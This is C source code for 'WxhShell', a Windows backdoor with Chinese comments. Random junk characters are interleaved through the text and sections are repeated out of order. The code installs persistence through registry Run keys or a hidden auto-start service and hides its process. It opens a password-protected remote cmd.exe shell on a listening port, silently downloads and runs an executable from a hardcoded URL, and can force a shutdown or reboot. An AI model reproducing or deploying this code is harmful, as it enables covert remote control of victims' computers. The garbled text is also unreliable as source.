(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '`Wwt.A NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kk{<@v) h)Ff2tX if (!NtQueryInformationProcess) return 0; nM0[P6p Zw~+Pb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); edK|NOOZ if(!hProcess) return 0; <fs2fTUeqF Q"7Gy< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dzkw$m^@^ M_%B|S
{ CloseHandle(hProcess); m{7(PHpw nw6+.pOy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nYJTKU if(hProcess==NULL) return 0; DzheoA-+L' <3j"&i]Tm* HMODULE hMod; Q8_ d)t| char procName[255]; V14B[|YM< unsigned long cbNeeded; V$uk6# 9Fr3pRIJ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %b^OeWip A3ZY~s#Iv CloseHandle(hProcess); %~QO8q_7 T t>8? if(strstr(procName,"services")) return 1; // 以服务启动 Rd>B0;4 2r6'O6v return 0; // 注册表启动 CV{r5Sye } 2"-S<zM <Tot|R; // 主模块 VnT>K9&3 int StartWxhshell(LPSTR lpCmdLine) h?$T!D> { I=!rbF;Z SOCKET wsl; &V)6!,rb BOOL val=TRUE; RO3oP1@B int port=0; d|iy#hy"_ struct sockaddr_in door; 8+Td-\IMk bTSL<"(]N if(wscfg.ws_autoins) Install(); vhb)2n 0W%@gs5d& port=atoi(lpCmdLine); MJ\ eh>v& 8#&q$kE if(port<=0) port=wscfg.ws_port; c c W<<9y WSADATA data; ]1gx#y 2 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kHv[H]+v \` w4|T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >\!4Mk8 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); emW:C-/h/@ door.sin_family = AF_INET; g_Im;1$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); D\ H/ door.sin_port = htons(port); |0z;K:5s U'*t~x< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /Ky__l!bu closesocket(wsl); pDhse2 return 1; _U{&@}3
} tV/Z)fpyH n& $^04+i if(listen(wsl,2) == INVALID_SOCKET) { syzdd
an closesocket(wsl); s9oO%e< return 1; U,Mx@KdV } %5\3Aw Wxhshell(wsl); X#w%>al WSACleanup(); wLV~F[:
A%\tiZe return 0; Ay{t254/ ]h9!ei
[ } nmjm<Bu 2ij#
H
; // 以NT服务方式启动 nNmsr=y5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yA[({2% {
>`jU`bR@ DWORD status = 0; 19q{6X`x DWORD specificError = 0xfffffff; De_ CF8 rx :z#"?I serviceStatus.dwServiceType = SERVICE_WIN32; y }08~L?2 serviceStatus.dwCurrentState = SERVICE_START_PENDING; P;]F=m+*V serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,L OQDIyn serviceStatus.dwWin32ExitCode = 0; ;PyZ?Z; serviceStatus.dwServiceSpecificExitCode = 0; NV r0M?`4 serviceStatus.dwCheckPoint = 0; Ov82ibp_1 serviceStatus.dwWaitHint = 0; Qju`e Eo N{d@^Yj hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +' oX if (hServiceStatusHandle==0) return; M*pRv fMf&?`V status = GetLastError(); Wd(86idnc if (status!=NO_ERROR) /b,TpuM^ { _w ]4~V9 serviceStatus.dwCurrentState = SERVICE_STOPPED; 4QJ8Z t serviceStatus.dwCheckPoint = 0; cyd~2\Kv~ serviceStatus.dwWaitHint = 0; PKq-@F%X serviceStatus.dwWin32ExitCode = status; Dmdy=&G serviceStatus.dwServiceSpecificExitCode = specificError; 'b"TH^\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); "zZI S6j return; KbxR
Lx]w } f0Hq8qAF;^ 5 ZfP serviceStatus.dwCurrentState = SERVICE_RUNNING; Ps R>V)L serviceStatus.dwCheckPoint = 0; }lZ> serviceStatus.dwWaitHint = 0; +K6szGP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gd^Js1Z } Ey&aBYR #-cTc&$O; // 处理NT服务事件,比如:启动、停止 Wf>^bFb"$ VOID WINAPI NTServiceHandler(DWORD fdwControl) 0&fl#]oCE { A0#Y, 1 switch(fdwControl) y(8d?]4:_ { H=.K case SERVICE_CONTROL_STOP: +Z+ExS<#z serviceStatus.dwWin32ExitCode = 0; vg^Myn
serviceStatus.dwCurrentState = SERVICE_STOPPED; zk>h u<_ serviceStatus.dwCheckPoint = 0; =s[&;B`s serviceStatus.dwWaitHint = 0; elbG\qXBp { 4 iH&:Al SetServiceStatus(hServiceStatusHandle, &serviceStatus); AMk~dzNt } Bxv8RB return; $!`L"szqD* case SERVICE_CONTROL_PAUSE: zrx JN serviceStatus.dwCurrentState = SERVICE_PAUSED; `s}BXKIv} break; V.,bwPb{9 case SERVICE_CONTROL_CONTINUE: -2lRia serviceStatus.dwCurrentState = SERVICE_RUNNING; (2%>jg0M break; ){tPP$-i= case SERVICE_CONTROL_INTERROGATE: t:9
ZCu ay break; ~hD{coVTI }; fq Y1ggL SetServiceStatus(hServiceStatusHandle, &serviceStatus); *g$agyOfh } pbdF]>\ '49L(>. // 标准应用程序主函数 .&(8(C int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dzxI QlP { |#cAsf_{ Ej|A
; &E // 获取操作系统版本 l"L+e! B~ OsIsNt=GetOsVer(); 6S_y%8Fv&[ GetModuleFileName(NULL,ExeFile,MAX_PATH); [|<EDR tDU}rI8? // 从命令行安装 6J;i,/ky if(strpbrk(lpCmdLine,"iI")) Install(); YOKR//|3 ,cS0 // 下载执行文件 08io<c,L if(wscfg.ws_downexe) { xPvRQ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m >hovikY* WinExec(wscfg.ws_filenam,SW_HIDE); Y^5"qd|` } H%~Q?4 8GW ut=D if(!OsIsNt) { 54wM8'+ // 如果时win9x,隐藏进程并且设置为注册表启动 6puVw-X HideProc(); :}y| 4*z StartWxhshell(lpCmdLine); =g[H]-Ee } um}N%5GAa else QqjTLuN if(StartFromService()) <THUsY`3P& // 以服务方式启动 1:YAn StartServiceCtrlDispatcher(DispatchTable); XqX
I(q^ else :@WLGK*u. // 普通方式启动 PAr|1i)mB StartWxhshell(lpCmdLine); 1>yha
j(K }JH`'&3 return 0; -sx-7LKi } i&1U4q -g<cinNSp ?.~]mvOR rBS2>? =========================================== j^rYFS
w:Q Jtpa@!M :;<\5Oy
^ GP Ix@k 6l<1A$BQ B'!PJj " oAC^4-Ld jJ*=Ghu- #include <stdio.h> ]}/mFY?7 #include <string.h> 4 ;^g MI9 #include <windows.h> m^5s>hUl #include <winsock2.h> G~O" / WM
#include <winsvc.h> )< l\jfx e #include <urlmon.h> $}V7(wu 6@ mQFa/7FX #pragma comment (lib, "Ws2_32.lib") k RQ~hRT6 #pragma comment (lib, "urlmon.lib") v?FhG
b~1 p[_Yi0U #define MAX_USER 100 // 最大客户端连接数 z( *]'Y #define BUF_SOCK 200 // sock buffer Jm%mm SYK #define KEY_BUFF 255 // 输入 buffer )K8P+zn~ tx gvVQ #define REBOOT 0 // 重启 3.B4(9:>, #define SHUTDOWN 1 // 关机 r+SEw ; *O!T!J #define DEF_PORT 5000 // 监听端口 S_ZLTcq<1 vuAQm}A4'g #define REG_LEN 16 // 注册表键长度 4,gol?a #define SVC_LEN 80 // NT服务名长度 7&=-a|k~ ~:2&/MOP? // 从dll定义API ]s f2"~v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OTnu{<.a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IkiQOk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LG"c8Vv&)~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xq#U4E n9N#&Q"7m
// wxhshell配置信息 w 9/nVu struct WSCFG { ~?2rGE int ws_port; // 监听端口 @X3 gBGY) char ws_passstr[REG_LEN]; // 口令
F\o;t: int ws_autoins; // 安装标记, 1=yes 0=no |= tJ| char ws_regname[REG_LEN]; // 注册表键名 \8=e|a5` char ws_svcname[REG_LEN]; // 服务名 Y;'VosTD char ws_svcdisp[SVC_LEN]; // 服务显示名 <jpe u^7 char ws_svcdesc[SVC_LEN]; // 服务描述信息 hTlnw[I char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e$ThSh\+( int ws_downexe; // 下载执行标记, 1=yes 0=no fui4@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :D<:N*9i char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i7i|370 fG X1y }; T@%;0Ro~ k&MlQ2'!< // default Wxhshell configuration aQl?d<|+lk struct WSCFG wscfg={DEF_PORT, D?iy.Dg "xuhuanlingzhe", I{`KKui<M 1, 6 {b%Jfo "Wxhshell", HXD*zv@ *6 "Wxhshell", 73'U#@g6 "WxhShell Service", *37LN "Wrsky Windows CmdShell Service", 6(ka"Vu~ "Please Input Your Password: ", ):/<H 1, H.jLGe> "http://www.wrsky.com/wxhshell.exe", kHt!S9r "Wxhshell.exe" %E4$ZPSW }; p2pTs&}S yq/[ /*7^ // 消息定义模块 tqff84 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V-?sek{; char *msg_ws_prompt="\n\r? for help\n\r#>";
7yMieUF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !L&=?CX char *msg_ws_ext="\n\rExit."; GVjv**U char *msg_ws_end="\n\rQuit."; &4mfzpK char *msg_ws_boot="\n\rReboot..."; nU=f<]S= char *msg_ws_poff="\n\rShutdown..."; ki[;ZmQqY char *msg_ws_down="\n\rSave to "; xTa4.ZXg >XD02A[ char *msg_ws_err="\n\rErr!";
H B::0l< char *msg_ws_ok="\n\rOK!"; *Gk<"pEeS O0K@M char ExeFile[MAX_PATH]; |% M{kA- int nUser = 0; xm<5S;E5U4 HANDLE handles[MAX_USER]; 1Y H4a|bc int OsIsNt; H$k![K6Uj "Cb.cO$i; SERVICE_STATUS serviceStatus; q3,P|&T SERVICE_STATUS_HANDLE hServiceStatusHandle; <6d{k[7fz) )z?&"I // 函数声明 Q9Y9{T int Install(void); NDs]}5# int Uninstall(void); _0DXQS\ int DownloadFile(char *sURL, SOCKET wsh); o*O"\/pmF int Boot(int flag); w*&n(zJF> void HideProc(void); 6nY
)D6$JG int GetOsVer(void); X]+(c_i:hC int Wxhshell(SOCKET wsl); dVj' void TalkWithClient(void *cs); Y\z^\k int CmdShell(SOCKET sock); 6k@% +<1 int StartFromService(void); h-?q6O/| int StartWxhshell(LPSTR lpCmdLine); \dp9@y[^ giPhW> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )|{1&F1 VOID WINAPI NTServiceHandler( DWORD fdwControl ); + e5 /JK-}E // 数据结构和表定义 )CwMR'LV SERVICE_TABLE_ENTRY DispatchTable[] = :oon}_MdRd { K-"HcHuF {wscfg.ws_svcname, NTServiceMain}, t[f9Z {NULL, NULL} ZZ]OR;8 }; 4t%:O4
3e "a0u-}/D // 自我安装 7(|3 OR+ int Install(void) =}%#$ { C%95~\Ds char svExeFile[MAX_PATH]; <u x*r#a!d HKEY key; 2d>d(^ strcpy(svExeFile,ExeFile); _ RT"1"r J1c&"Oh // 如果是win9x系统,修改注册表设为自启动 RIVL 0Ig if(!OsIsNt) { f@F^W YQm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7fN&Q~. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z`xz~9a< RegCloseKey(key); li3PR$W V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ch \ed|u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?;.1fJU> RegCloseKey(key); vS J< return 0; 11@2 ;vw } bWC~Hv } .
tH35/r } eJ=Y6;d$ else { |S>J<]H
p ,Zcx3C:# // 如果是NT以上系统,安装为系统服务 LO$#DHPt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,#
jOf{L* if (schSCManager!=0) Z:B Y*#B { Cs1%g SC_HANDLE schService = CreateService Kz3h]/A. ( UTK.tg schSCManager, ;FgEE% wscfg.ws_svcname, m[xf./@f{ wscfg.ws_svcdisp, {HRxyAI! SERVICE_ALL_ACCESS, /m{?o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '/yx_RK2? SERVICE_AUTO_START, K3r>nGLBo SERVICE_ERROR_NORMAL, e/HX,sf_g svExeFile, ;aRWJG NULL, W-]yKSob NULL, ^K77V$v NULL, Ng;b!S NULL, "za*$DU NULL AZ]SRz9mKY ); XUqE5[O% if (schService!=0) 4Utx
9^ { 9
K / CloseServiceHandle(schService); @qhg[= @ CloseServiceHandle(schSCManager); A$"$`)P! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VY&9kN strcat(svExeFile,wscfg.ws_svcname); Y'a(J 7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1'U%7#;E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _8b>r1$ RegCloseKey(key); IO)Ft return 0; l-h7ksRs } n$![b_)* } $
p1EqVu CloseServiceHandle(schSCManager); J0WXH/: } QsF<=b~ } MdoWqpC Boj{+rE0 return 1; J%[N- } mlw BATi .
;@)5" // 自我卸载 UCj#t!Mw int Uninstall(void) Pymh^i { Xiedg y HKEY key; AA& dZjz e"H+sM26- if(!OsIsNt) { eWk2YP! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Zt/e>K& RegDeleteValue(key,wscfg.ws_regname); Rw=E_q{ RegCloseKey(key); YK+Z0ry if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +p}Xmn RegDeleteValue(key,wscfg.ws_regname); gLxyRbVI RegCloseKey(key); wG[l9)lz return 0; WI4_4 } (X7yNIPfA } BH*]OXW\ } yrYaKh else { :3*oAh8| Cwa0!y5% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _,?H rL9 if (schSCManager!=0) m)RxV@ { u]-El}*[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F"#*8P if (schService!=0) td$6:) { xs`gN if(DeleteService(schService)!=0) { vlyNQ7"% CloseServiceHandle(schService); & ~G CloseServiceHandle(schSCManager); W" ,jZ"7 return 0; ] "vdC} } g#3x)97Z CloseServiceHandle(schService); kRa$jD^? } I%*Zj,> CloseServiceHandle(schSCManager); pR7G/]U$A } ^O:RS
g9 } |-Klh tl^;iE!- return 1; 8-6{MJ?F } /!8:/7r+W 7P(:!ce4- // 从指定url下载文件 R|yTUGY int DownloadFile(char *sURL, SOCKET wsh) [)KfRk?};2 { UcIR0BYa HRESULT hr; VAz+J char seps[]= "/"; ba.OjK@ char *token; |LhuZ_;1xo char *file; 4^A'A.0 char myURL[MAX_PATH]; J#^M char myFILE[MAX_PATH]; }:Akpm TR;-xst@ strcpy(myURL,sURL); aUQq<H 'R token=strtok(myURL,seps); WfI~l) while(token!=NULL) *9 xD]ZZF { 4cL=f file=token; 7X"cu6%\ token=strtok(NULL,seps); ' 1IH^<b } B.b)YE ' U^S0H(> GetCurrentDirectory(MAX_PATH,myFILE); 6&cU*Io@ strcat(myFILE, "\\"); WbF\=;$=7 strcat(myFILE, file); =^{+h>#s@ send(wsh,myFILE,strlen(myFILE),0); 0J B"@U&- send(wsh,"...",3,0); 9)`wd&! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?J
AzN if(hr==S_OK) "5FeP; return 0; #Ki@=* else hHQt4 r'd return 1; #-O4x`W> eAEVpC2 } XPSWAp) ]y/:#^M+ // 系统电源模块 nfEk ,(: int Boot(int flag) ewR0e.g { HvU)GJ u b HANDLE hToken; mE1*F'0a TOKEN_PRIVILEGES tkp; D[_2:8 0!T $Ef if(OsIsNt) { K> U&jH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _`_$UMK; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dcsd//E tkp.PrivilegeCount = 1; G9TUU.T
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r0,}f\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !`o=2b=N if(flag==REBOOT) { CEiGjo^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NoT oLt\ return 0; j&r5oD; } *^]ba> else { ^[6AOz+L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aE}u5L$# return 0; c|XnPqo;f } 'k hJZ: } d] {^ else { y~w$>7U. if(flag==REBOOT) { .Q7z<Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gs'(px return 0; 4r %NtXAa } }\B6d\k else { DY%E&Vd:h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N9hBGa$ return 0; My)/d]a
} K.k=\N } )%0#XC^/X5 G'%mmA\ return 1; VHy$\5oYg } 8ARpjYZP a`}HFHm\2, // win9x进程隐藏模块 u(P
D+Gz void HideProc(void) *5 5yF` { |zSkQ_?54 NVQIRQ. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h4]yIM`8d if ( hKernel != NULL ) 6HyQm?c>a { 4:7z9h] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {epsiHK@tK ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r>5,U:6Q/ FreeLibrary(hKernel); `.@N9+Aj } I-^Y$6- Av{1~%hU return; jGId)f!) } 8{'L:yzMY `CO?} rW // 获取操作系统版本 [H!V int GetOsVer(void) ) "'J]6 { 3(X"IoNQ OSVERSIONINFO winfo;
\:Q)Ef winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X ZfT;!wF& GetVersionEx(&winfo); +Bgy@.a? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zbrDDkZ1 return 1; Go8 m else 5G|(od3 return 0; .:E%cL
+h } %kUIIHV} yqZKn=1: // 客户端句柄模块 .,I^) 8c int Wxhshell(SOCKET wsl) A\YP}sG1 { 40+~;20 SOCKET wsh; ><+wH b struct sockaddr_in client; U2seD5I DWORD myID; ZJ1% id'E_]r while(nUser<MAX_USER) R!5j1hMN` { *Mk5*_
int nSize=sizeof(client); u.43b8! wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 26?yEd6^Z if(wsh==INVALID_SOCKET) return 1; G[GSt`LVS` 4@-
'p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [BWA$5D)Ny if(handles[nUser]==0) edD1 9A closesocket(wsh); w*n@_n={ else {HHc}8 nUser++; f5'Cq)Vw_ } 8tJB/Pw`S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [f 4Nq \i S}WQ~e return 0; as6a)t.^ } `saDeur#X P
:zZ // 关闭 socket WKek^TW4HE void CloseIt(SOCKET wsh) &?59{B.mD { KPTp91 closesocket(wsh); +es|0;Z4yP nUser--; =MMU(0 E ExitThread(0); ai 0am } ky R=U`OW a*/%EP3 // 客户端请求句柄 d|I?%LX0p void TalkWithClient(void *cs) B*B}eXUph { ;tg9$P<85 |}$ZOwc SOCKET wsh=(SOCKET)cs; },#@q_E char pwd[SVC_LEN]; II; char cmd[KEY_BUFF]; x`9IQQ char chr[1]; cqXP} 5 int i,j; `?P)RS30 bMU0h,|] while (nUser < MAX_USER) { $1KvL8 I.'(n8* if(wscfg.ws_passstr) { @?bO@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q#pD}Xe$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #ATV#/hW //ZeroMemory(pwd,KEY_BUFF); u]`ur#_ i=0; u?xXZ]_u- while(i<SVC_LEN) { Ga,+ MbbKo-7F$ // 设置超时 Z2@_F7cXt fd_set FdRead; hsCts@R struct timeval TimeOut; &-R(u}m-F FD_ZERO(&FdRead); V)q|U6R FD_SET(wsh,&FdRead); MeCHn2zwB TimeOut.tv_sec=8; mssCnr; TimeOut.tv_usec=0; ~3'}^V\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ']Z1n b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z~[EZgIg tMbracm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?hfyQhR pwd=chr[0]; b_v {Q E< if(chr[0]==0xd || chr[0]==0xa) { }[FP"# pwd=0; YZ\a#s,0 break; {>r56\!F } :n0czO6E i++; P[L] S7FTr } r
P1FM1"M mu$0x) // 如果是非法用户,关闭 socket E!rgR5Bd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SJ0IEPk } %Eq4>o?D |i~Ab!*8n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F4X0DRC,G send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D^-6=@<3KD : *g3PhNE while(1) { ca6kqh" Z23*`yR ZeroMemory(cmd,KEY_BUFF); %D_pTD\ g#}a?kTM@ // 自动支持客户端 telnet标准 f%gdFtJ & j=0;
qPH=2k,H while(j<KEY_BUFF) { ]ucz8(' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;l$F<CzJay cmd[j]=chr[0]; t^')ST if(chr[0]==0xa || chr[0]==0xd) { {3H)c^Q cmd[j]=0; ]/cVlpZ{f break; B&},W* p } Tm) (?y j++; 5J vrQGvL } v<u`wnt 5vSJjhS // 下载文件 /9wmc2 if(strstr(cmd,"http://")) { >0c4C<_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); .$~zxd#zo if(DownloadFile(cmd,wsh)) ipi^sCYp send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%0'v`7 else uW{;@ 7N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 40i]I@:JK } E9]\ I>v else { 2Y-NxW^] gq|]t<' switch(cmd[0]) { kuI%0)iZn GB&^<@ // 帮助 }:zTz%_K case '?': { sngM4ikhs send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X8uAwHa6F break; $!q(-+( } RASPOc/] // 安装 Jb1L[sT2 case 'i': { IMT]!j&Y, if(Install()) r&0IhE send(wsh,msg_ws_err,strlen(msg_ws_err),0); HA# 9y;\ else |Ym3.hz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vlSSw+r9 break; ,)beK*Iw } Wm#F~<$ // 卸载 _Gb O>'kE case 'r': { /UP1*L if(Uninstall()) g*-%.fNA send(wsh,msg_ws_err,strlen(msg_ws_err),0); g\~n5=-D else E#A%aLp0E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >\s8S}p break; [PP&}.k4" } 57~/QEdy // 显示 wxhshell 所在路径 q!!gn1PT(T case 'p': { k[<Uxh% char svExeFile[MAX_PATH]; LEn+0^hX strcpy(svExeFile,"\n\r"); U_.9H
_G strcat(svExeFile,ExeFile); Y)*:'&~2e send(wsh,svExeFile,strlen(svExeFile),0); 3<A$lG break; 4mM?RGWv } ww#]i&6 // 重启 S(
Vssi|y case 'b': { S|pf.l send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HpGI\s if(Boot(REBOOT)) W^" C|4G } send(wsh,msg_ws_err,strlen(msg_ws_err),0); L<H zPg else { <yg!D21Y closesocket(wsh); 3z~d7J ExitThread(0); T6^H%;G } }P*x/z~ break; $Si|;j$? } `c.P`@KA // 关机 mi'3ibCG case 'd': { -F~"W@9r send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DU|>zO% if(Boot(SHUTDOWN)) ,.,spoV send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8m"(T-wb6{ else { j[Z<|Da closesocket(wsh); }[mLtv%& ExitThread(0); 4Gor*{ } ,qu7XFYrY break; Tg _#z } pz0Q@ n/X // 获取shell @|6#]&v` case 's': { 5v_vv'~ CmdShell(wsh); 9YEE.=]T closesocket(wsh); n"g)hu^B ExitThread(0); F1GFn|OA break; <sw fYT!N } .8]buM5_G // 退出 WWgJ !Uz case 'x': { 4`zK`bRcK# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); # ~(lY} CloseIt(wsh); Y{7)$'At break; 7?"-:q } =Ohro' // 离开 S=_*<[W%4 case 'q': { :zp9L/eh send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5H}d\=z closesocket(wsh); 4)Ab]CdD WSACleanup(); !t!' exit(1); ap wA break; B+4WnR1%T } M~l\rg8 } fM!@cph(8 } 4WXr~?Vq9 ZfVw33z // 提示信息 =z*SzG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7-("ppYX= } 4Hq6nT/ } ~9Cw5rwH<; ^KUM4.
6 return; }m93AL_y } yi:1cLq2 k2:mIp\ // shell模块句柄 M,sZ8eeq int CmdShell(SOCKET sock) =|V [^#V { FV\$M6
_ STARTUPINFO si; q854k+C ZeroMemory(&si,sizeof(si)); <,</ Ge si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g:2\S= si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iJSyi;l| PROCESS_INFORMATION ProcessInfo; 1EQLsg`d^ char cmdline[]="cmd"; 9t+:L(*pK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iJb-F*_y return 0; 9)J)r\ } nVoP:FHH R_gON*9 // 自身启动模式 IeAUVRS) int StartFromService(void) IPk"{T3 { qF4=MQm\aE typedef struct PBb'`PV { Nm, 9xq DWORD ExitStatus; 'I1^70bB DWORD PebBaseAddress; ahx*Ti/e DWORD AffinityMask; U+'h~P'4 DWORD BasePriority; pTIE.:g( ULONG UniqueProcessId; 7&{[Y^R]" ULONG InheritedFromUniqueProcessId; @/0-`Y@? } PROCESS_BASIC_INFORMATION; ~91) DNaE 3ew`e"s PROCNTQSIP NtQueryInformationProcess; R,KoymXP OAd}#R\U static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }='1<~0 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 18kzR6(W {G(N vf,K] HANDLE hProcess; >Sua:Uff PROCESS_BASIC_INFORMATION pbi; y759S)U>>p O'~;|-Z< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ecG,[1]; if(NULL == hInst ) return 0; `]3A#y)v D+xHTQNTL g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sQ>L3F;A` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $l<(*,,l NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x cA5 #JIh-h@ if (!NtQueryInformationProcess) return 0; @O Rk 6
s1lf! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +4*jO5EZ if(!hProcess) return 0; 'Z=8no`< J'no{3Ktz if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MH=;[ | N f=/IwMpn CloseHandle(hProcess); n#lZRwhq cop \o4ia hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?7"6dp_K if(hProcess==NULL) return 0; >V1v.JH qL?`l;+ HMODULE hMod; ,ThN/GkSC char procName[255]; RNB ha& unsigned long cbNeeded; oUG!=.1}K5 oz[:
